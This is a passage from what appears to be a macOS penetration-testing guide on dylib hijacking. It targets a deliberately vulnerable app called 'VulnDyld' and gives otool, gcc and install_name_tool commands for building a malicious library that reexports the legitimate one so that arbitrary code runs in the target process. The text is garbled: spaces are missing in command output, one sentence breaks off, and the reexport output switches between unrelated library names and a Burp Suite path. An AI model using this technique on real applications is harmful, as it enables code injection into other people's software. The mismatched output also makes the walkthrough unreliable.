# Check where are the @rpath locationsotool-l"/Applications/VulnDyld.app/Contents/Resources/lib/binary"|grepLC_RPATH-A2cmdLC_RPATHcmdsize32path@loader_path/. (offset 12)--cmdLC_RPATHcmdsize32path@loader_path/../lib2 (offset 12)
# Check librareis loaded using @rapth and the used versionsotool-l"/Applications/VulnDyld.app/Contents/Resources/lib/binary"|grep"@rpath"-A3name@rpath/lib.dylib (offset 24)time stamp 2 Thu Jan 1 01:00:02 1970currentversion1.0.0compatibilityversion1.0.0# Check the versions
With the previous info we know that it's not checking the signature of the loaded libraries and it's trying to load a library from:
So, it's possible to hijack it! Create a library that executes some arbitrary code and exports the same functionalities as the legit library by reexporting it. And remember to compile it with the expected versions:
gcc -dynamiclib -current_version 1.0 -compatibility_version 1.0 -framework Foundation /tmp/lib.m -Wl,-reexport_library,"/Applications/VulnDyld.app/Contents/Resources/lib2/lib.dylib" -o "/tmp/lib.dylib"
# Note the versions and the reexport
The reexport path created in the library is relative to the loader, lets change it for an absolute path to the library to export:
#Check relativeotool-l/tmp/lib.dylib|grepREEXPORT-A2cmdLC_REEXPORT_DYLIBcmdsize48name@rpath/libjli.dylib (offset 24)#Change the location of the library absolute to absolute pathinstall_name_tool -change @rpath/lib.dylib "/Applications/VulnDyld.app/Contents/Resources/lib2/lib.dylib" /tmp/lib.dylib
# Check againotool-l/tmp/lib.dylib|grepREEXPORT-A2cmdLC_REEXPORT_DYLIBcmdsize128 name /Applications/Burp Suite Professional.app/Contents/Resources/jre.bundle/Contents/Home/lib/libjli.dylib (offset 24)
If you are planing on trying to inject libraries in unexpected binaries you could check the event messages to find out when the library is loaded inside a process (in this case remove the printf and the /bin/bash execution).